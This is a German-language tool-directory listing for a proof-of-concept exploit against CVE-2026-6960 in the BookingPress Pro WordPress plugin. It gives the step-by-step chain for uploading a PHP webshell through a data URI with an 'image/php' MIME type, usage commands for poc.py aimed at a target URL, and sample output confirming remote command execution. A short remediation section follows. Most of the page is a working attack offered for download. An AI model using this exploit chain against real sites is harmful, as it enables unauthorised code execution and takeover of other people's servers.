Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-6960 — Proof-of-Concept-Exploit für CVE-2026-6960: nicht authentifizierter Upload beliebiger Dateien in BookingPress Pro ≤ 5.6. Automatisiert eine 3-Schritte-Kette, um per Data-URI-Injektion einen PHP-Webshell hochzuladen und Remote-Codeausführung auf verwundbaren WordPress-Sites zu erreichen. | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-6960
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubxxconi/cve-2026-6960

CVE-2026-6960

Repository anzeigen
1vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Proof-of-Concept-Exploit für CVE-2026-6960: nicht authentifizierter Upload beliebiger Dateien in BookingPress Pro ≤ 5.6. Automatisiert eine 3-Schritte-Kette, um per Data-URI-Injektion einen PHP-Webshell hochzuladen und Remote-Codeausführung auf verwundbaren WordPress-Sites zu erreichen.

Teilen

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | Nicht authentifizierter beliebiger Datei-Upload

CVE CVSS CWE Auth Version Python

Forschung von: Atomic Edge Schweregrad: Kritisch | CVSS: 9.8 | Authentifizierung erforderlich: Keine

⚠️ v2 — Technische Korrekturen angewendet basierend auf Community-Feedback. Details siehe Changelog.


Übersicht

Eine kritische Schwachstelle für nicht authentifizierten beliebigen Datei-Upload existiert im BookingPress Pro WordPress-Plugin (Versionen ≤ 5.6). Der Handler für die Buchungsübermittlung bookingpress_book_appointment_booking verarbeitet den Wert eines Signatur-Benutzerdefinierten Felds als Data-URI. Das Plugin extrahiert die Dateiendung per Regex aus dem MIME-Typ-Teil der URI und übergibt sie direkt an file_put_contents() — ohne Allowlist oder Blocklist für Dateiendungen. Dies ermöglicht es einem Angreifer, eine PHP-Web-Shell in ein über das Web erreichbares Verzeichnis zu schreiben und Remote Code Execution (RCE) zu erreichen.

EigenschaftDetail
PluginBookingPress Pro (bookingpress-appointment-booking-pro)
Betroffen≤ 5.6
Behoben in5.7
VektorNetzwerk / Nicht authentifiziert
AJAX-Aktionbookingpress_book_appointment_booking
GrundursacheEndung wird aus dem vom Angreifer kontrollierten MIME-Typ in der Data-URI extrahiert → file_put_contents() ohne Allowlist
CWECWE-434: Uneingeschränkter Upload einer Datei mit gefährlichem Typ

Voraussetzungen

⚠️ Alle folgenden Bedingungen müssen erfüllt sein, damit die Website ausnutzbar ist:

  • ✅ Ein Signatur-Benutzerdefiniertes Feld muss vom Site-Administrator im BookingPress-Buchungsformular konfiguriert sein
  • ✅ Mindestens ein aktiver Service muss vorhanden sein (um einen gültigen Zeitslot zu generieren)
  • ✅ Eine Seite mit dem BookingPress-Buchungsformular-Widget muss öffentlich erreichbar sein

Websites mit ≤ 5.6 ohne konfiguriertes Signatur-Benutzerdefiniertes Feld sind über diesen Vektor nicht ausnutzbar.


Angriffsablauf

1. GET  /booking-page/
     └─ Extract _wpnonce from page source

2. POST /wp-admin/admin-ajax.php  action=bookingpress_fetch_timeslot_data
     └─ Obtain server-side timeslot transient key

3. POST /wp-admin/admin-ajax.php  action=bookingpress_pre_booking_verify_details
     └─ Obtain pre-booking verification token

4. POST /wp-admin/admin-ajax.php  action=bookingpress_book_appointment_booking
     └─ bookingpress_signature_field = "data:image/php;base64,<shell>"
     └─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)

5. GET  /wp-content/uploads/bookingpress/shell.php?cmd=id
     └─ RCE confirmed

Details zur Grundursache

Der verwundbare Codepfad verarbeitet den Wert des Signaturfelds als Data-URI:

data:image/{ext};base64,{base64_encoded_content}

BookingPress extrahiert {ext} mithilfe eines Regex-Abgleichs aus dem MIME-Typ und schreibt dann den dekodierten Inhalt mit file_put_contents() auf die Festplatte, wobei diese Endung an den Dateinamen angehängt wird — es wird keine Allowlist-Prüfung durchgeführt. Die Angabe von image/php als MIME-Typ führt dazu, dass eine .php-Datei in das Upload-Verzeichnis geschrieben wird.

Dies unterscheidet sich grundlegend von einem Standard-Multipart-Datei-Upload — die Nutzlast ist in einem JSON-Body-Feld eingebettet, nicht in einem Datei-Upload-Teil.


Anforderungen

pip install requests

Verwendung

# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com

# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/

# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php

# Skip SSL verification
python3 poc.py -u https://target.com --no-verify

Argumente

FlagBeschreibungStandard
-u, --urlZiel-WordPress-URL(erforderlich)
-bp, --booking-pageSeitenpfad, der das BookingPress-Formular enthält/
-s, --service-idBookingPress-Service-ID1
-f, --filenameShell-Dateiname (Endung wird in den Data-URI-MIME-Typ injiziert)shell.php
--no-verifySSL-Zertifikatsprüfung deaktivierenfalse

Beispielausgabe

[!] PRECONDITION: This exploit requires a signature-type custom field
    to be configured in the BookingPress booking form by the site admin.

[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd

[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4

[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8

[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}

[✓] Shell is LIVE!
    Output of 'id': uid=33(www-data) gid=33(www-data)

[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>

Behebung

  1. Validieren Sie den Data-URI-MIME-Typ anhand einer strengen Allowlist (image/png, image/jpeg, image/svg+xml), bevor Sie die Endung extrahieren
  2. Leiten Sie eine Dateiendung niemals aus vom Angreifer kontrollierter Eingabe ab — generieren Sie einen zufälligen Dateinamen mit einer fest codierten sicheren Endung
  3. Verwenden Sie für die gesamte Dateitypprüfung die native WordPress-Funktion wp_check_filetype_and_ext()
  4. Erwägen Sie, Signaturdateien außerhalb des Web-Root-Verzeichnisses zu speichern, um eine direkte Ausführung zu verhindern

→ Aktualisieren Sie umgehend auf BookingPress Pro 5.7.


Changelog

v2 (2026-05-23) — Technische Korrekturen

#Problemv1 (falsch)v2 (korrigiert)
1AJAX-Aktionbookingpress_validate_submitted_booking_formbookingpress_book_appointment_booking
2Payload-MethodeMultipart-Datei-Upload mit image/pngData-URI: data:image/{ext};base64,...
3Exploit-AblaufDirekter nicht authentifizierter POST3-stufige Voraussetzungskette (Nonce → Transient → Token)
4VoraussetzungNicht dokumentiertSignatur-Benutzerdefiniertes Feld muss konfiguriert sein

Haftungsausschluss

Tool herunterladen